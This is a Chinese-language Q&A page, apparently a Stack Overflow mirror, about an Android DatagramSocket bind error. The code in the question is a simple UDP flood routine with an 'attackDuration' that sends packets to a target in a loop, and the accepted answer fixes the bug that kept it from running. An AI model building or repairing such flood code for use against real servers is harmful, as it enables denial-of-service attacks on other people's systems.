【问题标题】:Caused by: android.system.ErrnoException: bind failed: EACCES (Permission denied)引起:android.system.ErrnoException:绑定失败:EACCES(权限被拒绝)
【发布时间】:2022-01-16 15:06:37
【问题描述】:

我正在尝试在我的 Android 应用程序和本地 Apache 服务器之间建立套接字连接。但是,当代码运行时,我在 Logcat 中收到以下错误:java.net.BindException: bind failed: EACCES (Permission denied)。这是我的客户端代码(错误发生在socket = new DatagramSocket(this.serverPort, ip);行中:

public Memcached(String target, int serverPort, int attackDuration) throws MalformedURLException {
        targetURL = new URL("http://" + target);
        this.serverPort = serverPort;
        this.attackDuration = attackDuration * 1000;
    }
    @Override
    public void run() {
        long startTime = System.currentTimeMillis();
        try {
            ip = InetAddress.getByName(targetURL.toExternalForm().replace("http://", ""));
            Log.d(TAG, ip.getHostAddress());

        }
        catch(UnknownHostException uhe) {
            System.out.println("Unknown host");
            ipAddressAbleToBeFound = false;
        }
        if (ipAddressAbleToBeFound) {
            try {
                socket = new DatagramSocket(this.serverPort, ip);
            }
            catch(SocketException se) {
                System.out.println("Unable to send request, is it down already??");
                se.printStackTrace();
                socketAbleToBeCreated = false;
            }
            if (socketAbleToBeCreated) {
                while(System.currentTimeMillis() < startTime + attackDuration) {
                    byte[] buffer = {10,23,12,31,43,32,24};

                    DatagramPacket packet = new DatagramPacket(buffer, buffer.length, ip, this.serverPort);
                    try {
                        socket.send(packet);
                    }
                    catch(IOException ioe) {
                        System.out.println("I/O error occurred");
                    }
                }
            }
        }
    }
}

我认为我的 Android 清单文件具有适当的权限。我的 ip 设置为我的本地 IP 地址,这是我的本地 Apache 服务器被访问的方式。我的this.serverPort 设置为80,小于1024。我读到问题可能是因为我试图连接到小于1024 的端口。但是,当我将this.serverPort 设置为1024 时,我收到以下错误:java.net.BindException:绑定失败:EADDRNOTAVAIL(无法分配请求的地址)。所以我不确定要尝试什么。如果我需要提供任何其他信息,请告诉我!谢谢!

【问题讨论】:

  • ip的使用值是多少?
  • ip的值是我的本地ip地址
  • 请说出我问的值。
  • String target 是否已经包含此地址?
  • 是的,我想我可能已经找到了解决这个问题的方法,尽管我即将发布

标签: java android sockets networking


【解决方案1】:

我想我通过 socket = new DatagramSocket(); 而不是 socket = new DatagramSocket(this.serverPort, ip); 解决了这个问题。看起来你不需要在DatagramSocket中指定端口和InetAddress,你只需要在DatagramPacket中这样做。

【讨论】:

    猜你喜欢
    • 2019-03-17
    • 1970-01-01
    • 2016-05-25
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2017-07-10
    • 2012-09-07
    • 2020-11-29
    相关资源
    最近更新 更多